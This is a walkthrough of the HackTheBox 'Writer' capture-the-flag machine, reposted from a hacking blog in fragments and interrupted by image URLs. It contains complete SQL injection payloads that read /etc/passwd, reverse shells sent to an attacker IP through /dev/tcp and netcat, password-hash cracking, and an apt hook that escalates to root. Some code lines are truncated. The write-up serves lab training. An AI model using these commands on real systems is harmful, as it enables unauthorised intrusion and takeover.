Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog Writer HackTheBox Walkthrough Writer HackTheBox WalkthroughIntroductionWriter is a CTF Linux box with difficulty rated as “medium” on the HackTheBox platform. The machine covers SQL injection vulnerability and privilege…

usercontent.com/img/a/AVvXsEiU6cl5ly1H1bBaaP0HoyGFu3GFqoz3DtI72GHi9P8iDp1ag0G6-1igZNyJp99vKdZlY-wEtFsGS1fOxUXS3hpczUy-ZPBqnkChDtoc58mtclrv-krXIKEna-s0gDTlgPFxEgegXEOGylHRg3RigB3FdpWvzexgfdFmU950wVQ4nApaYbl1y1kKaP5tTA=s16000 Similarly, we can read the /etc/passwd file and try to learn what all users exists.uname=admin' union select 1,load_file("/etc/passwd"),3,4,5,6 -- &password=adminhttps://blogger.googleusercontent.com/img/a/AVvXsEiAyDpDEVcaXev2FIWhSSxrb6ZULX5txypAqQ2rhCQWnI3RZPxxIU8eN65TnY8NMHUqNnPsx6aHox-VOqYd23zwePKVP35jqjIWY05GlDp5rY8IF1730Fj97XordtHyJxqY1tbllL7V4aEAryqkfSTQbNEP-fI4BrPXMoDcHperohGCl04tRTezsZK2ow=s16000 This gave us an insight into the system. It of course was running Apache web server so we looked at 000-default.conf file that includes absolute path of the website. Here, we found a wsgi present which means that a python based webserver (Django or Flask) was running on the webserver.uname=admin' union select 1,load_file("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6 -- &password=adminsmbmap -H 10.129.170.230 -u "kyle" -p "ToughPasswordToCrack"https://blogger.googleusercontent.com/img/a/AVvXsEiLNZ2KoP621-LYKBscYWircW9uAs3gq2AYY1V5S0JH5_MML_aSrWe1zCNpDIQp8hESp4ajefacrvaophZTEiA0yHjiixufGmG1xmPFAZvYJGzIoSwYumFtyDxqLI8p7WnxxOgrzoo-O2NR7gB8NA6My2pC7eGO4XqVNwmmXFNwrSGP13-etvUHGB1N5w=s16000 Logically, whatever is in views.py should be rendered by the website. Hence, if we add a simply python one liner, it would be rendered by the website too. That’s precisely what we did. We added the following code in views.pyimport os& /dev/tcp/10.10.14.104/1234 0>&1"')https://blogger.googleusercontent.com/img/a/AVvXsEiqoTz-nxKnLTm5okqOMeVDFMKwZ49jbbsbdpwQEVTIkvbP37pZKVwIwtjHlkMmrMiK8038JsLGqbVGYja70DHhauAkU_FgWuXgmXGgJeN6qWiKzxyzNvUsagxqFDxg6dTfuysZhn1gxW4n3p62aGS1GbhYnIm_b3inoaKJLYQcz7vvRZnM6D0PKakt6w=s16000 Thereafter, we replaced this views.py with the original one using put command in the SMB share___________________________
@hacking_Attack
@Hacking_Video

12 viewsedited 13:30

Hacking Articles Tips Tricks Videos Tutorials

de and gave the website a refresh. We had received a reverse shell!Post ExploitationThe manage.py file in Django is used to communicate with a website’s files and perform functions such as run server and migrate changes. However, dbshell command is used to communicate with the website’s database. So after a bit exploring we found a hashed credential in auth_user table.python3 manage.py dbshellhttps://blogger.googleusercontent.com/img/a/AVvXsEiso-v7dWgQtmqMM7EEckAJZqHkukPP2Z2qVmPRgC3yRi95P_SR6sDg4dJmFRHxDnfJSi4QGz2uMtUSvamo3o1yHKXvs1e_ZtyNNMCb1BB266wzZZMf4nad79RM-KWEYN4H3xxcQmPlgas80XSeUVrFXcMWd73eUq_JNZVeiP1pGa2ov2kPhQ9WFud_NQ=s16000 We took this cred and ran it with hashcat using rockyou.txt wordlisthashcat -m 10000 hash rockyou.txthttps://blogger.googleusercontent.com/img/a/AVvXsEhiLXTQSXcgl0zpDJhjlqU8v1-d8_jU_eTPnptq71mfht79bTrETtEHGxelXQjLAuIGVIVcJHrMqi9R1cTOgSap8jruwEZtjdCyPZX02tVcHqm2QER89t01XaVegKyeGXfc1uJL3HOABr0jSAbYXPdLJainKNRcZ4LbsbOidmceBZb6cN90LEq9WuPM-A=s16000 The password came out to be: marcoantoniofind / -group filter 2>/dev/nullhttps://blogger.googleusercontent.com/img/a/AVvXsEgoG6xZqedvffARJwAj_Wc45pGGiWDFRQj0sZmlfH5UdvulIGuEUKkY0vG6Ig8kks5axeVMG129m4Py8kCU9vPu6lmFFi7d5X-jd02T0SJ-6ly6IEfcDBKkl9kZF0tvFPfP-wB6iIReWehXE-svkgtQ-Wkpmcj4XHfITMNHlCSL_t2xRwN9-75hwHjTFg=s16000 Now, since this disclaimer would be automatically added to every e-mail, we can overwrite this file with our reverse bash code and send a simple testing e-mail to john using netcat. The following payload does the said thing.echo "bash -c 'bash -i &>/dev/tcp/10.10.14.104/5555 0>&1'" > /etc/postfix/disclaimer && echo -e "HELO writer.htb\nMail From:kyle@writer.htb\nRCPT To: john@writer.htb\nData\nTo: john@writer.htb\nFrom: kyle@writer.htb\nSubject: Testing\nTesting\n." | nc localhost 25https://blogger.googleusercontent.com/img/a/AVvXsEjMMaZjzX0qbhvhAsS9CNYlaW5zpKoKeM2ULUHTICgGDyu0CsrxLWl0ilmwZ0hcsAJz-8ZM3-PVmsFVOLpCN7-tyiWPq8YPDVrybxArz00A13U6ogUCzKonKMqhg2DGk3-CqVREDwPzcXZimxlm8rNN0aJFOngkTkqyv_TwRRVLarodGB-mCpQ-EKvllQ=s16000 And on our listener set up on port 5555 we see user john’s shell! We just wanted to get a more stable shell so we copied the private SSH key. chmod 600 key/dev/nullhttps://blogger.googleusercontent.com/img/a/AVvXsEg7xEH-y6JRgr8ayapkhzDP4etXTljKn2z5md3MCWn[...]

___________________________
@hacking_Attack
@Hacking_Video

13 viewsedited 13:30

Hacking Articles Tips Tricks Videos Tutorials

2mbFQQ6Me79UJVYkt1oTxGarVEwiTfzys3FyszgvhYWGjKPdi3xM-2eC_KJNQY_kVM62LmCDwhRzB_fyq-fqjfo4ltbQPIi_FO3buOPHzNrtgpM4Anj8E_3RMl39r1SAL1oy6JLz8RoCUtBHitQ=s16000 Upon inspecting a bit more, we found that apt-get was running as a cron job. Hence, we will follow our article here and use apt-get to escalate ourselves to root. The payload that we are using inside Pre-Invoke is this: /bin/bash -c chmod 4777 /bin/bashecho 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICJjaG1vZCA0Nzc3IC9iaW4vYmFzaCIK | base64 -d | bash"};' > /etc/apt/apt.conf.d/000-shellYou can see that bash has SUID bit set now! We’ll just launch it using -p option now and read the congratulatory flag as we are now root!/bin/bash -phttps://blogger.googleusercontent.com/img/a/AVvXsEj9tRr8q_bS_gk5HFIcKJtJgDHAN16ZGzONAwQyr7RFr95dtZ4iqNzDwNLqgZT7lhMmzhuGqxIlTfbBAXE9aCgufdOAVAsU25_k0PpxbS2VKtghMpIsy1b-9C6Iwc9p6eulPCQ1EequVPDIjZ2cfAYhlugYtGXi96chWsTVu4PH8nMhKUPPmTKVGq1X5w=s16000 Hence, this is how we rooted the box writer. Hope you enjoyed our approach. Thanks for reading!___________________________
@hacking_Attack
@Hacking_Video